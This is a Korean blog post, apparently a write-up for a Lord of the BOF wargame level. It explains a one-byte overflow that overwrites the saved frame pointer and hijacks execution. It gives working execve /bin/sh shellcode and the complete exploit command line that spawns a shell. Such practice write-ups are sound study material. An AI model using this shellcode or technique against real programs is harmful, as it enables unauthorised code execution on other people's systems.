코드를 보면 단 1byte 만 오버플로우가 일어납니다. 단 1byte 가지고 저희는 ebp를 움직일수 있습니다.
이 ebp를 움직임으로써 esp가 leave 에 의해 움직이게 되고 esp가 움직이면 ret를 실행할때 esp+4의 주소로 가 실행시키므로
저희가 원하는 코드를 실행 시킬수 있는것 입니다.
즉 계획을 세워보면
dummu [4 byte] + shellcode 시작 주소 [4 byte] + shellcode [25 byte] + dummy [7 byte] + buffer시작 주소 마지막 자리[1 byte]
가 되겠습니다. shellcode 는
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
이걸 사용하도록 하겠습니다.
먼저 소스코드를 복사해서 파일 하나 만든다음 problem_child 맨 밑줄에 printf("%p\n", buffer); 을 추가해서 실행 시키면 주소값이 나옵니다.
* 주의 : darkknight 와 파일 이름의 길이가 같아야 합니다. 이거 떄문에 왜 안되나 고민 많이 했어요 ㅠㅠ.
0xbffffab4
따라서 buffer시작 주소 마지막 자리[1 byte] 에는 \xb4 를 넣으면 됩니다.
shellcode 시작 주소는 0xbffffab4 에 8을 더한 0xbffffabc 가 되겠습니다. 이제 공격을 해보면
./karkknight `python -c 'print "A"*4 + "\xbc\xfa\xff\xbf" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x90"*7+"\xb4"'`
쉘이 뜹니다! 그럼 darkknight 를 공격해보면
클리어 !
'Pwnable > LOB' 카테고리의 다른 글
[Level14] bugbear -> giant (0) | 2017.05.17 |
---|---|
[Level13] darkknight -> bugbear (0) | 2017.05.17 |
[Level11] skeleton -> golem (0) | 2017.05.17 |
[Level10] vampire -> skeleton (0) | 2017.05.17 |
[Level9] troll -> vampire (0) | 2017.05.17 |